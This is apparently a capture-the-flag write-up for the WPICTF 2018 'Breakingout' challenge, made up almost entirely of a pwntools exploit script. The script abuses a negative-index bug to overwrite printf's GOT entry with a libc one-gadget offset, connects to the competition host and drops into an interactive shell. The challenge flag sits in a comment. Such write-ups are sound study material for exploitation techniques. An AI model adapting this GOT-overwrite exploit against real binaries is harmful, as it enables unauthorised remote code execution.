Writeup WPICTF 2018 - Breakingout

exploit-breakingout.py

#coding: utf-8
'''
author: Nguyen Duc Manh
email: imdb95@gmail.com
'''
from pwn import *
context.clear(arch='amd64')
'''
vul: negative index
printfGOT += (magic - printfGOT)
    x = (magic - printfGOT)
    mem[1] = 1 (+), mem[2] = -22 (a), mem[3] = 5 (b), mem[4] = -22 (c), mem[5] = x
'''
main = 0xDE5
putsGOT = 0x202018
printfGOT = 0x202028
printf = 0x5CD90
mem = 0x202080
putsDataSam = 0x0000555555554696
mainSam = 0x0000555555554000

#remote: libc-2.26.so:
magic1 = 0x47C9A
magic2 = 0x7838E
magic3 = 0xD9763
magic3_1 = 0xD9880 # WPI{Now_to_break_out_of_third_place}
magic3_2 = 0xD9A3C
magic3_3 = 0x0D9A5C
magic4 = 0xFCCDE
magic4_1 = 0xFDB8E
magic6 = 0xFDB95
'''
#local: libc-2.23.so:
magic1 = 0x4526A
printf = 0x55800
magic2 = 0x6F5A6
magic3 = 0xCD0F3
magic4 = 0xCD1C8
magic5 = 0xF02A4
magic6 = 0xF1147 ## success
magic7 = 0xF66F0
'''
mem = [1, 1, -22, 5, -22, magic3_1-printf]
context.clear(arch='i386')
payload = flat(mem) # to get 32bit integer
context.clear(arch='amd64')
# p = process('./breakingout')
p = remote('breakingout.wpictf.xyz', 31337)
# raw_input('w')
p.sendlineafter('(max 262144):', str(len(payload)))
p.sendafter('teread', payload)
p.interactive()